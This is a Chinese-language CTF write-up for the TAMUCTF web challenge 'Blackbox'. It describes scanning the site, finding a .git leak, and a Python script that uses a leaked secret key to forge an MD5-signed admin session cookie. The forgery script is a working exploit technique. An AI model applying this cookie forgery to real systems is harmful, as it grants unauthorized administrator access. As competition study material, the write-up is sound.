記一道國際賽CTF web題

2023-05-04 21:04:26

這是一篇關於打d3ctf坐牢,無奈去打國際賽的題解。

TAMUCTF [Blackbox]

首先開啟頁面,然後發現一個登陸框

 剛開始最先想到就是弱口令登陸,嘗試幾個後發現登陸不進去。

之後我就換了一個思路,就是掃一下,看看能不能有什麼東西被掃出來,結果還真掃出來點東西,一個flag.txt,一個flag.php,還有就是.git洩露。

 

 然後我們寫一個指令碼獲取我們需要的字串。

import hashlib
import json
import base64

# 定義 SECRET_KEY 和 Token 資料
SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8'
token_data = {
    "username": "admin",
    "user_key": "26ceb685f46e6d22",
    "admin": True
}

# 編碼 Token 資料,生成 Token 字串
encoded_token_data = base64.b64encode(json.dumps(token_data).encode()).decode()
hash_str = SECRET_KEY + encoded_token_data
hash_obj = hashlib.md5(hash_str.encode())
hash_result = hash_obj.hexdigest()
token_str = "{0}.{1}".format(encoded_token_data, hash_result)

# 驗證 Token 字串是否有效
token_parts = token_str.split('.')
if len(token_parts) != 2:
    print("Token 字串不合法")
else:
    decoded_token_data = json.loads(base64.b64decode(token_parts[0]).decode())
    if ('username' in decoded_token_data and 'user_key' in decoded_token_data and 'admin' in decoded_token_data
        and decoded_token_data['username'] == 'admin' and decoded_token_data['user_key'] == '26ceb685f46e6d22'
        and decoded_token_data['admin'] is True):
        str_to_hash = SECRET_KEY + token_parts[0]
        hash_obj = hashlib.md5(str_to_hash.encode())
        hash_result = hash_obj.hexdigest()
        if hash_result == token_parts[1]:
            print("Token 字串有效:", token_str)
        else:
            print("Token 字串無效")
    else:
        print("Token 字串無效")

 

構造cookie之後就能獲得flag。